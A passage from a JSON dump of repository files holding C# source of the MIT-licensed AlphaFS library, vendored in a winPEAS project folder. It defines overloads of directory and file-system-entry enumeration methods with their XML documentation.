cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, options, filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileIdBothDirectoryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in <see cref=\"FileShare.ReadWrite\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfo(string path)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(null, null, path, FileShare.ReadWrite, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in <see cref=\"FileShare.ReadWrite\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfo(string path, PathFormat pathFormat)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(null, null, path, FileShare.ReadWrite, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in specified <see cref=\"FileShare\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"shareMode\">The <see cref=\"FileShare\"/> mode with which to open a handle to the directory.</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfo(string path, FileShare shareMode)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(null, null, path, shareMode, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in specified <see cref=\"FileShare\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"shareMode\">The <see cref=\"FileShare\"/> mode with which to open a handle to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfo(string path, FileShare shareMode, PathFormat pathFormat)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(null, null, path, shareMode, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory handle specified.</summary>\n      /// <returns>An IEnumerable of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"handle\">An open handle to the directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfo(SafeFileHandle handle)\n      {\n         // FileShare has no effect since a handle is already opened.\n         return EnumerateFileIdBothDirectoryInfoCore(null, handle, null, FileShare.ReadWrite, false, PathFormat.RelativePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in <see cref=\"FileShare.ReadWrite\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, FileShare.ReadWrite, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in <see cref=\"FileShare.ReadWrite\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, FileShare.ReadWrite, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in specified <see cref=\"FileShare\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"shareMode\">The <see cref=\"FileShare\"/> mode with which to open a handle to the directory.</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, FileShare shareMode)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, shareMode, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about files in the directory specified by <paramref name=\"path\"/> in specified <see cref=\"FileShare\"/> mode.</summary>\n      /// <returns>An enumeration of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path to a directory from which to retrieve information.</param>\n      /// <param name=\"shareMode\">The <see cref=\"FileShare\"/> mode with which to open a handle to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoTransacted(KernelTransaction transaction, string path, FileShare shareMode, PathFormat pathFormat)\n      {\n         return EnumerateFileIdBothDirectoryInfoCore(transaction, null, path, shareMode, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntries.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntries(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param 